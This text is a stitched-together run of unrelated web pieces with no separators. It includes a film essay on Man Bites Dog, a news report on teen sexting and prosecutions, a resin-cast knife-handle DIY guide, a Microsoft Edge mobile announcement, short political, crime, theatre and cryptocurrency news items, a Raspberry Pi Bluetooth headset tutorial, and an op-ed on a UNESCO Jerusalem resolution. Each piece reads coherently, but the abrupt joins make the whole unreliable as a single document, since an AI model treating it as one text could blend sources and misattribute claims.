That, in a nutshell, is the experience of watching Man Bites Dog, a faux cinema verité about a film crew documenting a mass murderer’s rampage. The magnetic star of the show, Ben, is a rueful psycho. He’s also an amateur philosopher (all the better to justify his crimes) and fancies himself a sophisticate—he plays chamber music with his girlfriend, he composes poetry, he complains about the aesthetic ugliness of public housing. There’s a bit of Dostoevsky’s loquacious ax murderer Raskolnikov in this strange, bright young man. Abstract, intellectual curiosity is his fuel; it’s what he has instead of a conscience.
Ben’s mix of charming awkwardness, intellectual pretension, and fathomless sadism suggests not a real-life serial killer but a fantastic fictional equivalent—a blood-spattered cousin of the James Bond baddie, whose wickedness has a playful edge of showmanship. Ben is the personification of spectacle. We’re a captive audience, seduced by his charisma, just like the documentarians who act as our eyes and ears. (One is reminded of the notion that comedy equals tragedy plus distance; Man Bites Dog’s verité conceit calls attention to the actual physical distance between the filmmakers and Ben’s victims. We “get” closer without being closer—a defining characteristic of cinema generally, and nonfiction film in particular.)
The film crew tails along, recording every significant and insignificant moment in Ben’s life. Presumably their goal is to gain insight into evil, but what they’re really doing is blurring the line between spectator and participant. That line dissolves entirely when the crew runs out of money and accepts Ben as a patron. He’s transformed from a depraved nonfiction film subject into a kind of director-producer-writer-star. Rather than merely inviting the filmmakers to witness the narrative of his life, Ben finds a way to make them participate in its construction.
Whether you chose to view Ben as simply another murderous movie character or as a perverse metaphor for documentary subjects in general, his manipulations definitely question central premises of documentary filmmaking: that a camera can record “truth”; that the presence of a lens and a crew full of observers won’t distort reality, and that a journalist’s obligation to be “objective” trumps the natural human impulse to intervene in a bad situation. When Ben and the crew examine footage of his attack on a policeman at a Steenbeck editing table, it seems a direct reference to Gimme Shelter’s depiction of Mick Jagger watching (as editor Charlotte Zwerin, on-camera, operates a Steenbeck) the film of the Hell’s Angels stabbing Meredith Hunter. This allusion serves as a pointed reminder of Pauline Kael’s famous criticism of Gimme Shelter: its makers failed to acknowledge that the Altamont concert was created specifically for the film. Are Ben’s filmmaker pals merely recording the atrocities of a flesh-and-blood demon, or does their presence urge him toward increasingly gruesome acts? (The escalation of the killer’s violence suggests that when a camera comes between storytellers and their story, the boundary between documentary and exploitation can’t help but spring leaks.) The filmmakers become ensnared in a double-bind: If they allow events to unfold “naturally” without getting in the way, they are complicit in murder; if they do interfere, they are breaking the rules of verité.
Like all good satire, Man Bites Dog literalizes and magnifies what might otherwise seem like an abstract rhetorical problem. The ludicrous exaggeration insures our response—of course the crew should interfere with Ben’s crimes. But if a filmmaker has an obligation to intervene when one person is trying to kill another, is there an obligation to keep a subject from stealing, from drug dealing, from prostituting? Where is the line drawn?
Man Bites Dog anticipates so-called “reality TV,” which places real people in situations contrived to resemble bad movie plots—only instead of the unquestioning voyeurism encouraged by those programs, this film’s objective is to bully the viewer into guilty self-reflection. It’s a strategy that draws on a tradition of cinematic explorations of spectatorship and violence, from Peeping Tom and A Clockwork Orange to Network and Taxi Driver. But Man Bites Dog alone is effective as a (pre-emptive) critique of the reality television movement. It doesn’t simply condemn the desire to watch; it first provides its own audience with enough distance to enjoy a seductive spectacle. If we begin by laughing at Ben’s sharp wit, we’re soon laughing in a desperate bid to reinstate an emotional arm’s length. The humor brings us closer and our defensive laughter helps us pull away.
Unlike American media satires, which tend to leave viewers bruised from constant nudging of the ribs—see Oliver Stone’s psychedelic, crushingly obvious media satire Natural Born Killers, which literally superimposes the film’s issues over the skin of the characters—Man Bites Dog never loses its verité edge or its workaday feel. This maintenance of realism is a remarkable stylistic feat. (Adding to the illusion of authenticity is that the three filmmakers, Remy Belvaux, Andre Bonzel and Benoit Poelvoorde, also played the central roles using their own first names). The normality, even banality, of its imagery, and its fairly strict adherence to documentary techniques, ensures that audiences will believe its inherently ridiculous storyline—and perhaps leave feeling vaguely ashamed at what a good time they had.
When Man Bites Dog was first released, many critics complained that one of the film’s central points—that those who watch violence without resisting it are, in a sense, complicit—was too simplistic, too glib, too obvious. It’s true that we already know violence is bad, and that if we watch a lot of it, we build up a level of tolerance that can only be transcended with an original and fresh act of savagery. But Man Bites Dog, with its hyperreal, almost cartoonish litany of outrages, expands on that point in a significant, almost subliminal way: slowly, subtly tricking the viewer into sticking around, then implicating the viewer and the filmmakers as the story unfolds. By the time Man Bites Dog ends, you may wish you’d stopped watching. But you didn’t.
Enlarge this image toggle caption iStockphoto.com iStockphoto.com
On a June weekend, just after high school finals, 16-year-old Brooke Nielsen was hanging out with her best friend in suburban Seattle. There was lots of laughing and taking pictures with cell phone cameras. Then they decided just for fun to take a shower, and they put the cameras up on the mirror and took a side-profile picture of themselves naked.
As Brooke's mother, Kathy Nielsen, tells the story, her daughter deleted the picture but the friend did not. The friend denies sending the photo to anyone, but a copy soon arrived in the cell phone of another student — and then the cell phone of a football player, then the football team, then the senior class.
Finally, an anonymous envelope with Brooke's naked photo inside was left in the mailbox of Bothell High School's vice principal. That's when Kathy and Ed Nielsen got called in.
"They sat me down at the table and they said, 'We have pictures of your daughter and another girl naked, do you want to see them?' " Ed Nielsen says. "And I said, 'No I don't want to see that!' "
There's a name for what happened. It's called "sexting," where teenagers send nude or partially nude photos to one another. And 1 in 5 teens does it, according to Bill Alpert of the National Campaign to Prevent Teen and Unplanned Pregnancy.
"The primary reason young people give is they say this is a fun or flirtatious activity," Alpert says. "Of more concern is the second primary reason they cite — among girls — is they do this as a sexy present for their boyfriends."
'How Is She Gonna Handle This?'
Brooke's mother says that being called before the vice principal was "terrifying."
"I mean, she just turned 16 a month before that," Kathy Nielsen says. "I was just thinking, 'Oh my goodness, how is she gonna handle this? How is this gonna affect the rest of her life?' "
Things really got complicated after that. Brooke and her friend were suspended from the cheer squad. The Nielsens wanted to know, what about those who shared the photo with other people, and they reported it to the police. Then they sued the school. Brooke and her parents are scheduled to be deposed next week.
An Uncomfortable Issue
Sexting isn't exactly a comfortable issue to deal with if you're a parent or a high school football coach or a middle-aged police detective like Vern Myers.
In a separate incident, Myers got a call from Castle Rock Middle School in Colorado and thought, "OK, investigate." He interviewed dozens of white-faced 12- and 13-year-olds and pimply 14-year-olds with twitchy legs. And he tried to figure out intent: Why did you take the photo? Why did you send it? He says that in response, he heard things like "we just thought it'd be funny" or "so and so asked me to send it to him."
Myers says it was the first time he has dealt with sexting, and he didn't really know what else to do.
"On something like that it's child pornography. If you take that picture, you're manufacturing it; if you send that picture, then you're distributing it," he says.
In at least four states, sexting kids are facing charges of child pornography and sexual exploitation of a minor.
Tools and Materials Used:
I do a lot of DIY stuff so I had some tools and material laying around. Some tools can be used in place of tools I used so I’ll try to list them out accordingly
Tools Used:
Materials Used:
Jantz Knife Blank Choice:
I wanted a stainless steel hunting knife that would work as bushcraft knife and only be limited by the length of the blade. I ordered one of the more expensive Jantz Silver Moose pattern in CPMS 30V. This particular blade has high-carbon qualities that I wanted, like high hardness, and is still considered a full stainless blade material. The overall length is 7-5/8-inches with a blade length of 3-inches, width of 1-inch, and 1/8-inch thickness. As a hunting knife, this would be capable of processing both large and small game and should have great handling characteristics for skinning game. CPMS 30V is also supposed to be pretty good when it comes to edge retention and it seems like it so far, but I haven’t processed large game with it. I have made some feather sticks and batoned wood with it to test the bushcraft characteristics of the blade and everything passes well. The back of the knife even has a nice 90-degree edge on it which strikes a ferro rod well.
Knife Handle Material Choice:
I wanted something decorated and exotic. Even after watching hours of videos on youtube, I still went with the wrong Alumilite formula, which ended up turning into a beautiful mistake. For the wood pieces, I inherited a wedding centerpiece that had manzanita branches as the main material. After reading up a bit, it’s a hardwood that’s used in any other projects like bowls and fish tank decoration, but isn’t used as much for knife handle material as it tends to warp. Being an experiment, I cut sections of this on my Rockwell Bladerunner and it looked cool enough to use.
The Alumilite I used was Alumilite RC-3 Tan, which cures to a mostly-solid tan color. I bought the 32-oz kit which includes two 16-oz parts (A & B) for a total of 32-oz. I’ve been able to make 3 molds so far, and have enough for one more test.
I mixed in some blue pearl and white pearl pigment into it, thinking I’d get a nice pearl translucent look, but it cured seafoam green. At first, I was going to toss it, but after my fiance had said it could make a beautiful knife, I gave it a shot. I’m loving the result.
Making a Mold:
For my mold, I used an NSF certified Polyethylene 12x18x1-inch cutting board. The most important dimension here is the 1-inch thickness for assembling with 2-inch screws. Again, using my Rockwell Bladerunner, I cut this into sections that were appropriate. The dimensions are based off of a standard knife scale and creates castings that are 5-inch x 2-inch x however much material you pour. The walls on my mold are about 2-inches tall to accommodate oversized cuts. You can do this with a hacksaw with lots of patience.
Alumilite Resin Casting without a Pressure Pot:
I can only speak to RC-3, but this thing has a 7-minute cure time. That is, it goes from mixed to hard in 7-minutes. Alumilite RC-3 has a pot life of only 3-minutes, so I timed my pour well under that number and gave myself 2-minutes. I gave it 1-minute for stirring the parts together and 1-minute to settle in while I poured in hopes that air bubbles would escape while in its most liquid form. The casting guys generally recommend a 2.5 gallon paint pressure pot with a compressor and gauges, but for my purpose, I didn’t find one necessary. I’m sure this would have created a better product, but I was able to fix any mistakes carefully.
This was truly a kitchen counter open-air cure. I sealed the gaps in my mold with some plumbers putty and painters tape, and put some paper towels down to catch any resin that would seep out. I fit the pieces of scrap wood in the mold and stuck it in the oven at 170-degrees for about 10-minutes. This does two things: 1) helps dry out any excess moisture that may have been introduced and 2) heats up all the bits, helping the Alumilite resin get into all the gaps in liquid form.
You will want to pour each part of the Alumilite in to two separate paper mixing cups at the exact same weight using an electronic kitchen scale. I eye-balled the amount of 1100-grains for each part for my mold, so your mileage may vary. Don’t take this for an exact science. Once the two parts are poured into separate cups, I let both cups sit for about 10-minutes to help degas a bit. I then added my resin pigments to one of the parts (the clear one) and stirred it up. I let it rest again to degas a bit.
Start a timer before you combine parts A & B to give the pour some time to fill in and move air to the top as much as possible. Take the mold with scrap wood out of the oven. Combine and stir the Alumilite parts for a full minute, making sure you mix thoroughly and don’t see unmixed parts. Make sure to scrape the cup on the sides and bottom to get a good mixture. At about a minute (1.5 if you really need time), start pouring in from one corner of the mold medium-slowly to allow for the resin to move through the mold. It helps to squish the cup a but to give yourself a divot to pour from. As the mixture rises in the mold and you think you have a piece thick enough, don’t be bashful about pouring over holes in your scrap wood.
As you can see in the picture, with all of these steps, I still get air bubbles. However, these are negligible since they’re on the surface and I’m cutting that piece away anyhow.
Before I forget, make sure your wood scrap is DRY DRY DRY. Moisture and casting don’t mix well and causes lots of bubbles.
Cutting and applying the Scales:
Using my Rockwell Bladerunner table saw, I split these down the middle. I wanted a thicker handle and being my first try, I wanted enough of an over-sized cut to correct any errors I’d make. Once I split it down the middle, I took the edges off and was left with a 3/4-inch thick piece on each side or so. As you can see, there were some holes in the wood from bugs or something, so I mixed a few more grains of Alumilite and carefully poured them in. In hindsight, I would have waited until I sanded the knife handle and just filled in the holes with gobs of resin and sanded it down to match.
I can’t say enough about this Rockwell table saw. It really made the project easier with the ability to cut and measure all built in. I used it to cut the scales to the blade’s shape too without a hitch. For this, I simply placed the sides I wanted to see facing out, and traced the blade with a red permanent marker leaving a lot of breathing room.
When cutting the scales to shape, I also left a wide birth to really insure that the scales would cover the knife with room to spare. You can always take away material, but you can’t add material back.
I cut my brass pins out of the 1/8-inch brass rod oversized. You want working room here as brass sands down easily. I cut the same length of my 1/4-inch brass tube for my thong hole. Again, a hacksaw or Bladerunner would work.
Next, I used my power drill and the appropriate sized drill but to match the scales to the handle holes. I used a 1/8-inch bit for the handle holes, and a 1/4-inch bit for the thong hole. As a process, I laid down one side of the scale over a piece of wood I’d drill into and place the knife blade on top. After each drilling, I would place a length of brass pin I made from the 1/8-inch rod down to keep everything lined up.
After drilling all of those holes through one of the scales, I repeated the process on the other scale using the knife blade as my guide. Make sure things are facing the relative directions for each side in regards to the blade.
If done correctly, everything should line up and you should be able to sandwich both scales over the blade with all the brass pins and tubes put in. If not, using the proper drill bits and small amount of free-hand movement to create some space shouldn’t hurt, since we’re using epoxy to clamp everything together. Be reserved in this and keep checking for a snug, but easy fit.
Once everything seems to fit, rough up all the bonding parts with some sand paper and clean. After that, you can start the epoxy process. I used a cheap 3M wet surface epoxy on mine and I didn’t like working with it. It was the consistency of cold peanut butter and dried grey. When I do this again, I’ll be using Devcon 2-ton epoxy as it has been the most recommended and has a decent amount of working time after mixing. You’ll want to do this quickly if you’re using a 5-minute epoxy, though I can’t recommend it.
This will be messy, so wear gloves. Take everything apart and start slathering mixed epoxy on both scales, put the knife blade down on it to match, and sandwich loosely. Start applying the pins while turning to get the pins covered in epoxy. This is where the extra room from free-handing the drill comes in to play as I had to install 6 small pins and a brass tube. Your mileage may vary.
Once the pieces are all together with lots of epoxy between, clamp it down with some wood clamps and let it sit for 24-hours.
After the epoxy cures, use a peening hammer to lock the brass pins in.
Shaping and Finishing the Knife Handle:
At this point, you should have a lot of material over the knife blank. I used 80-grit blaster sand paper made for stripping paint from cars. A rasp may work as well, if you have that on hand. Simply lay down the 80-grit on a flat surface and start on the back of the knife. Then do the same to the flat sides of the knife to get the pins flush with the knife scale. The idea is to get a flush surface to the knife.
Once you have the rough outline, start adding contouring with the same 80-grit sheet to round off the sides. Some painters tape over the blade’s edge will help in handling of the knife for sanding.
What helped me form the shape of the handle is cutting the 80-grit into strips so that I could wrap the sandpaper around the handle and twist. Again, make sure you wrapped the blade up well while doing this or it’ll be a trip to the hospital. Take your time in this process as you’re shaping the knife handle to how you want it.
At this stage, I did find air bubbles or imperfections on the knife handle. I simply mixed more Alumilite resin and laid it into the holes and sanded them flush.
Once you have the rough contoured shape of the knife handle, use the assorted sandpaper pack to start bringing the color and grain out of the handle and roughed up metal.
I started with 200-grit until everything was smooth and uniform, then 400-grit, then 800-grit, then 1600-grit, then 3000-grit. You can stop at 800-grit or 1600-grit if you’d like. This is all up to your preference.
After all that sanding, things should be looking pretty good. I threw on some Feed-and-Wax Wood polish to bring out some color, but any polish or wax would work, I’d imagine. The wax coating gives me a piece of mind for the wood’s surface.
3/26/18, 9AM PT: iPad and Android tablet owners – we’ve got some great news for you! Microsoft Edge is now available as a free download in the Apple Store and Google Play Store. Now, you too, can experience familiar features like your Favorites (including Roaming Favorites), Reading List, New Tab Page, Reading View, and Roaming Passwords in Microsoft Edge across all of your devices. And, what makes Microsoft Edge really stand out is the ability to continue on your PC, allowing you to open a web page from your phone right on to your PC. We look forward to bringing new features and updates to Microsoft Edge for iOS and Android in future updates, so please keep providing feedback!
In October, we introduced Microsoft Edge for iOS and Android in preview, in response to your request to make Microsoft Edge work well with your phones. A special THANK YOU goes out to each of you—hundreds of thousands of you—who downloaded, test-drove, and sent feedback on the preview apps. Your ideas and passion have contributed to an even better app experience.
We are pleased to announce that we’re removing the “preview” label from our Android and iOS app.
Microsoft Edge for iOS and Android brings familiar features like your Favorites, Reading List, New Tab Page, Reading View, and Roaming Passwords across your PC and phone, so, no matter the device, your browsing goes with you. But what makes Microsoft Edge really stand out is the ability to continue on your PC, which enables you to immediately open the page you’re looking at right on your PC—or save it to work on later.
And thanks to your feedback, we’ve added some new and popular features since launching the preview mobile app:
Roaming Passwords – Save a new password on your phone, and it follows you to your PC. Get to what you need, regardless of where you are or what device you are currently working on.
– Save a new password on your phone, and it follows you to your PC. Get to what you need, regardless of where you are or what device you are currently working on. Dark theme – You can now enjoy this popular theme on your phone, in addition to your PC.
On market and language availability, Microsoft Edge for iOS is available in the United States (English), China (Simplified-Chinese), France (French) and the UK (English). Microsoft Edge for Android is available in the United States (English), Australia (English) Canada (English and French), China (Simplified-Chinese), France (French), India (English) and the UK (English). We look forward to bringing MS Edge for iOS and Android to additional markets and languages over time!
We are committed to empowering people and organizations to achieve more. And Microsoft Edge for iOS and Android is another step in that journey. While we’re excited to remove the preview label along with the download restrictions, we are more excited about all that’s ahead. We have a long list of new features to build and improvements to make. We hope you will try the app alongside your Windows 10 PCs and provide your ideas on what can make it even better. As has been our approach with Windows 10, we’ll continue to try new things, learn and build the best experiences possible.
In a letter delivered to the White House moments ago, the two leaders of the bloc of House progressives bluntly told President Obama that they will not support any health care plan without a public option in it — and demanded a meeting to inform him face to face. The [ not-yet-released ] letter — the first joint statement from progressives since news emerged that Obama might not address the public option in next week’s speech — is their sharpest challenge yet to the president, given the extraordinary sensitivity of this political moment. The letter urges him to mention the public option in his speech.
[Scroll below to see video]
The robbery happened around 2 p.m. Tuesday at the Publix at 5400 Southwest College Road.
According to police, the woman, who was only wearing a black shirt and slippers, walked into the store and grabbed some wine near the deli. She then walked to the exit but was confronted by a manager, police said.
The woman, who was listening to music via a tablet she was carrying, began flailing and left the store with the wine, police said.
She was described by police as a black woman in her 30s and about 5 feet 4 inches tall. She also has a tattoo on her neck.
The wine was valued at $41.68.
The theft was captured on video, but police have not yet released it.
Watch Local 6 News and stay with ClickOrlando.com for more on this story.
‘Bright Star’
Opens March 24
“You ready?”
It was a shout that could barely be heard over the screeching of power tools at the Cort Theater. A small army of stagehands hoisted scenery, worked on a lighting rig and tossed electrical cables to one another. This was load-in, the part of the process when technicians have full run of a theater before the actors show up. And, from three stories above the stage, Scott Jackson was trying to coordinate with a colleague far below to be sure cables were being connected properly, the cacophony an obvious obstacle to their efforts.
The lobby was stuffed with crates. Inside, makeshift tables — boards placed over blocks of seats — were scattered around the orchestra, supporting computers and other gadgets. Behind one table sat Larry Morley, the technical supervisor, calmly overseeing the whole shebang.
“Bright Star,” a bluegrass-tinged musical written by Steve Martin and Edie Brickell, is hardly Mr. Morley’s first rodeo — he’s been doing this kind of work since the mid-’70s. “Broadway theaters are quite small, which offers challenges,” he said in a quick conversation punctuated with squawks from his hand-held radio. Compared with some other places he has worked, including the Kennedy Center in Washington, where “Bright Star” had a recent run, the 1,082-seat Cort is rather petite, especially when it comes to wing space.
“It becomes more and more important to schedule things in sequence and hopefully keep everybody moving forward,” he said. “But there are definitely times when people are standing and waiting if they can’t get to their next task because someone else is in that physical space, or doing something that has to happen first.”
Elsewhere, Scott Sanders, the production sound engineer, was fine-tuning the speaker system. “Next Tuesday is when we first see the cast onstage,” Mr. Sanders said. “At 1 o’clock in the afternoon, everything has to be ready from soup to nuts.”
Will it? “Yeah,” Mr. Morley said confidently, before adding, “I mean, there’s still a lot to do.”
LONDON (Reuters) - The aggregate value of all cryptocurrencies hit a record high of around $184 billion on Wednesday, according to industry website Coinmarketcap, making their reported market value worth around the same as that of Goldman Sachs and Morgan Stanley combined.
The new peak came as the biggest and best-known cryptocurrency, bitcoin, hit a record high of more than $6,500 BTC=BTSP. That took its own "market cap" - its price multiplied by the number of coins that have been released into circulation - to a record high just shy of $110 billion.
The latest surge in bitcoin - which has seen an eye-watering increase of almost 800 percent in the past 12 months - was driven by news on Tuesday that CME Group (CME.O), the world’s largest derivative exchange operator, would launch bitcoin futures in the fourth quarter of the year.
The announcement was seen as a major step in the digital currency’s path toward legitimacy and mainstream financial adoption.
How To Connect Bluetooth Headset Or Speaker To Raspberry Pi 3 Update: 07/02/2018: The final solution for this problem is here:
Update 06/09/2017: For people who asked me if the new Raspbian Stretch changes anything here, yes, the new Raspbian brings PulseAudio v10 but not installed (by default, that’s not all), Raspberry Pi Foundation chose to go back to ALSA and use Bluez-alsa module
If you are here, it means that you are trying to use your headset’s microphone AND speakers with Raspberry Pi 3.
What appeared to be a configuration issue turned to a real headache. After so many weekends spent to find a solution, I ended up with a lot of information and no workaround, a sort of puzzle parts that I’m still collecting over all Google results, I’m not exaggerating if I tell you that I already read every single page that Google can propose for this topic.
I keep my previous post for history (not anymore updated): http://youness.net/raspberry-pi/bluetooth-headset-raspberry-pi
With all that effort, I start to have clear idea of the problem. So here you will save your time and focus on the major root cause.
Long story short: The real problem comes from built-in WiFi-Bluetooth chipset: BCM43438 (and/or its driver/firmware)
How do I know it?
Because I used external Bluetooth transceiver (USB dongle), and now my headset works perfectly (AD2P & HSP)
So, unless I find THE ideal solution, you have no choice but to use Bluetooth USB dongle.
I know that some people may just want to know how to do, and don’t care about details, so I’ll explain first how to make it.
Then I’ll post exhaustive story behind this Bluetooth/Raspberry Pi issue, in order to help others who want to explore more.
HOW TO DO
Step 1: PulseAudio
One problem that is mentioned everywhere is the drop out of Bluetooth support by ALSA. Now only way is PulseAudio.
Source: https://git.kernel.org/pub/scm/bluetooth/bluez.git/commit/?id=4ff9b99292eca193dc0c149722328cb0b1ab0818
Minimal versions needed for HSP (A2DP included) are: Bluez 5 / PulseAudio 6
Source: https://www.freedesktop.org/wiki/Software/PulseAudio/Notes/6.0/
I recommend to start with fresh Raspbian Jessie image:
https://www.raspberrypi.org/downloads/raspbian/
Update and upgrade it:
sudo apt-get update
sudo apt-get upgrade
sudo apt-get autoremove
sudo reboot
Check the version of packages:
dpkg -l bluez
Version 5.23-2+rpi2
dpkg -l pulseaudio
Version: 5.0-13
WARNING: Raspbian repository is still using PulseAudio 5
Purge pre-installed PulseAudio:
sudo apt-get purge pulseaudio
To install manually PulseAudio 6 or upper, there are two methods and both of them are OK.
Method 1: Install PulseAudio from Debian Backports
Edit source list:
sudo nano /etc/apt/sources.list
Add the line:
deb http://ftp.debian.org/debian jessie-backports main
Add PGP keys to your Raspberry Pi:
gpg --keyserver pgpkeys.mit.edu --recv-key 8B48AD6246925553
gpg --keyserver pgpkeys.mit.edu --recv-key 7638D0442B90D010
gpg -a --export 8B48AD6246925553 | sudo apt-key add --
gpg -a --export 7638D0442B90D010 | sudo apt-key add --
Update package list:
sudo apt-get update
Install PulseAudio and its Bluetooth module:
sudo apt-get -t jessie-backports install pulseaudio pulseaudio-module-bluetooth
Check the version (6 or upper is OK):
dpkg -l pulseaudio pulseaudio-module-bluetooth
ii pulseaudio 7.1-2~bpo8+1
ii pulseaudio-module-blue 7.1-2~bpo8+1
You can jump directly to Step 2.
Method 2: Use PulseAudio sources
Download the sources from Freedesktop.org:
wget https://freedesktop.org/software/pulseaudio/releases/pulseaudio-6.0.tar.xz
Unzip and go to the directory:
tar xvf pulseaudio-6.0.tar.xz
cd pulseaudio-6.0
Run bootstrap script:
./bootstrap.sh
I will sum up here all errors I encountered (in case people search them by copy/paste):
./bootstrap.sh: line 46: intltoolize: command not found
configure: error: Unable to find libltdl version 2. Makes sure you have libtool 2.4 or later installed.
configure: error: *** sys/capability.h not found. Use --without-caps to disable capabilities support
No package 'json-c' found
No package 'sndfile' found
So install all above libraries:
sudo apt-get install intltool libtool libcap-dev libjson0-dev libsndfile1-dev
The script should now ends correctly, and in the command line you can see a table of the configuration done, with enabled/disabled parts. On my side: udev, bluez5, ofono, native-headset, alsa, X11, systemd, … were not enabled, so I installed additional libraries:
sudo apt-get install libudev-dev libsbc-dev libbluetooth-dev libx11-xcb-dev libasound2-dev libsystemd-dev libsamplerate0-dev
Re-do the ./ bootstrap, now missing parts are enabled.
Then, make and install PulseAudio (this will take some time, take a coffee).
sudo make
sudo make install
sudo ldconfig
The last command to avoid some errors of shared libs not found.
Step 2: Bluetooth Hardware
To turn off built-in Bluetooth controller (BCM43438), blacklist it:
sudo nano /etc/modprobe.d/raspi-blacklist.conf
Add lines:
blacklist btbcm
blacklist hci_uart
CTRL+X, then Y, then Enter
Reboot:
sudo reboot
Now connect your Bluetooth USB dongle, mine is ASUS BT400.
(At this step, the result may differ, maybe your USB dongle is already supported by Raspbian)
For ASUS BT-400, I have to install manually the firmware.
To know if your hardware is correctly called, check it here:
dmesg | grep -i bluetooth
In my case I see the error:
[ 155.924366] bluetooth hci0: Direct firmware load for brcm/BCM20702A1-0b05-17cb.hcd failed with error -2
Here I need to explain some things. The chipset in USB dongle is from Broadcom (BCM)
Broadcom’s firmwares are proprietary, it means that they are’nt shared as open source, and some times not in Linux repositories.
So to use it, you have to find corresponding .hcd file and store it in /lib/firmware folder.
Easy way is to download ASUS drivers online:
wget http://dlcdnet.asus.com/pub/ASUS/wireless/USB-BT400/UT_USB_BT400_6516000.zip -P /home/pi/Downloads/
Unzip it:
sudo apt-get install zip
cd /home/pi/Downloads/
unzip UT_USB_BT400_6516000.zip
Open .inf file of the drivers and look for ASUS
cd BTW6.5.1.6000_Win7_USB_ASUS/Win32/
cat bcbtums-win7x86-brcm.inf
Search for the driver supporting your hardware. For ASUS BT400 I find the corresponding file:
BCM20702A1_001.002.014.1315.1347.hex
Not that it is .hex, so I need to convert it to .hcd, I’ll use hex2hcd tool:
cd /home/pi/Desktop
sudo apt-get install git
git clone https://github.com/jessesung/hex2hcd.git
cd hex2hcd
make
Here I meet error due to Raspberry Pi configuration
gcc -O2 -march=native hex2hcd.c -o hex2hcd
*** Error in `gcc’: double free or corruption (top): 0x015fdc58 ***
<builtin>: recipe for target ‘hex2hcd’ failed
make: *** [hex2hcd] Aborted
so I modify the Makefile:
sudo nano Makefile
Replace the line:
CFLAGS = -O2 -march=native
By
CFLAGS = -mcpu=cortex-a53 -mfpu=neon-vfpv4
(Source: https://www.raspberrypi.org/forums/viewtopic.php?f=28&t=139091&p=922980)
Redo make command, now you have the executable hex2hcd:
cp /home/pi/Downloads/BTW6.5.1.6000_Win7_USB_ASUS/Win32/BCM20702A1_001.002.014.1315.1347.hex /home/pi/Desktop/hex2hcd/
./hex2hcd BCM20702A1_001.002.014.1315.1347.hex BCM20702A1-0b05-17cb.hcd
Pay attention here to the name of .hcd file, it is the same one missing in above error with dmesg | grep -i bluetooth
Copy it to firmware folder, reboot, and check Bluetooth initiation:
sudo cp BCM20702A1-0b05-17cb.hcd /lib/firmware/brcm/
sudo reboot
dmesg | grep -i bluetooth
The firmware should be correctly called now!
Now we will connect the Bluetooth headset (same steps as for A2DP only post)
Start Bluetoothctl tool and initiate everything:
bluetoothctl
power on
agent on
default-agent
Turn on the headset, for mine I press and hold the button till I see white blinking LED.
Start the scan:
scan on
After some seconds, you will see the headset name and MAC address (xx:xx:xx:xx:xx:xx)
Pair, trust and connect it:
pair xx:xx:xx:xx:xx:xx
trust xx:xx:xx:xx:xx:xx
connect xx:xx:xx:xx:xx:xx
Now the headset is correctly connected to the Raspberry Pi.
If not, it should be PulseAudio daemon that it is not already running.
Open new console and start it:
pulseaudio --start
Go back to the other console and connect again the headset:
connect xx:xx:xx:xx:xx:xx
Now the headset is connected!
Check cards in PulseAudio:
pactl list cards
You can see the Bluetooth card, and the profiles A2DP and HSP available.
For me the default profile was headset_head_unit, if it is not for you, force it:
pacmd set-card-profile 1 headset_head_unit
Tell PulseAudio to use the headset as default “sink” and “source”:
pacmd set-default-sink bluez_sink.xx_xx_xx_xx_xx_xx
pacmd set-default-source bluez_source.xx_xx_xx_xx_xx_xx
Record yourself with the microphone:
parecord -v voice.wav
CTRL+C to end it.
Play it back:
paplay -v voice.wav
Are you listening to your voice?!
Final check that A2DP is also working, activate it:
pacmd set-card-profile 1 a2dp_sink
paplay -v voice.wav
Your voice again, that’s all.
This tutorial will for work for any Bluetooth USB dongle that you can find the ASUS driver sources.
If you have any question or remark, feel free to ask me by comment.
THE STORY WHY RASPBERRY PI BLUETOOTH IS NOT WORKING
This part is ongoing because every day I’m learning new things about Bluetooth profiles, hardware architecture, IP issues, …etc.
The aim here is not to blame the Raspberry Pi, but to understand why it is NOK and how to correct it.
Because at the of the day we want to do it by the board only without external add-ons.
Until this, I recommend to use Bluetooth USB dongles if you want to have HSP profile.
Some quick notes and questions:
Raspberry Pi uses Broadcom BCM43438 “combo” shipset for Wi-Fi and Bluetooth
Broadcom firmwares are proprietary, not all the time coming with Linux distributions
Apparently, BCM43438 firmware is the same as BCM43430 (but how to be sure…)
People report that the use of Wi-Fi & Bluetooth leads to poor audio quality and slow connection
Raspberry Pi Zero Wi will have the same problem ( same BCM 43438)
What is the architecture of Raspberry Pi wireless (I know it is not Open Source…)?
What are the buses and protocols used (HCI, UART, SCO, SDIO…)?
Did anyone checked that Bluetooth audio will work before agreeing this hardware at Raspberry Pi Foundation?
Why the BCM43438 is not mentioned in Raspberry Pi hardware list (in the website)?
However, when it comes to reactions to the resolution, the Palestinian leadership’s arrogant hype and the Israeli leadership’s hysterical spin on that resolution are both cynical and dangerous.
Jubilantly, Palestinian officials declared victory as they enlisted “the world’s support against Israeli aggression.” Israeli officials, meanwhile, proclaimed that the resolution is nothing less than a “nullification of Jewish ties to the Temple Mount,” and Tourism Minister Yariv Levin called the decision “anti-Semitic.”
In actuality, despite the disrespectfully exclusive use of Muslim names for the Temple Mount and the Western Wall, the 41-paragraph, 5-page resolution – which is readily available to anyone who chooses to actually read it - is neither a victory for Palestinian confrontational policies nor a denial of Jewish faith or history.
In Section 3, the resolution affirms the importance of the Old City of Jerusalem and its walls for the three monotheistic religions. It then follows with UNESCO’s too-familiar, jumbled litany of condemnations of Israel’s (real or purported) offenses against Muslim worship, calling for the restoration of the “historic status quo” around “Al-Aqṣa Mosque/Al-Ḥaram Al-Sharif and its surroundings.” It goes on to note that Israel is violating Muslims’ freedom of worship by hindering and preventing access to the Mosque and “deplores the continuous storming” of the mosque compound by Israeli right-wing extremists and uniformed forces. It decries arrests and injuries of Muslim worshippers in the mosque, and “regrets the damage caused by the Israeli forces, especially since 23 August 2015, to the historic gates and windows of the al-Qibli Mosque inside Al-Aqṣa Mosque/Al-Ḥaram Al-Sharif. In this regard, it reaffirms Israel’s obligation “to respect the integrity, authenticity and cultural heritage of Al-Aqṣa Mosque/Al-Ḥaram Al-Sharif, as reflected in the historic status quo, as a Muslim holy site of worship and as an integral part of a world cultural heritage site.”
Then, for good measure, the resolution goes on to list Israeli offenses in Hebron and Gaza.
Yet, contrary to Palestinian and Israeli claims, the resolution does not invalidate or deny Jews’ connections to the Temple Mount. In fact, the document isn’t a declaration about to the rightful owner of Temple Mount and its surroundings or a statement regarding which religion has the “better” sacred claim to the site.
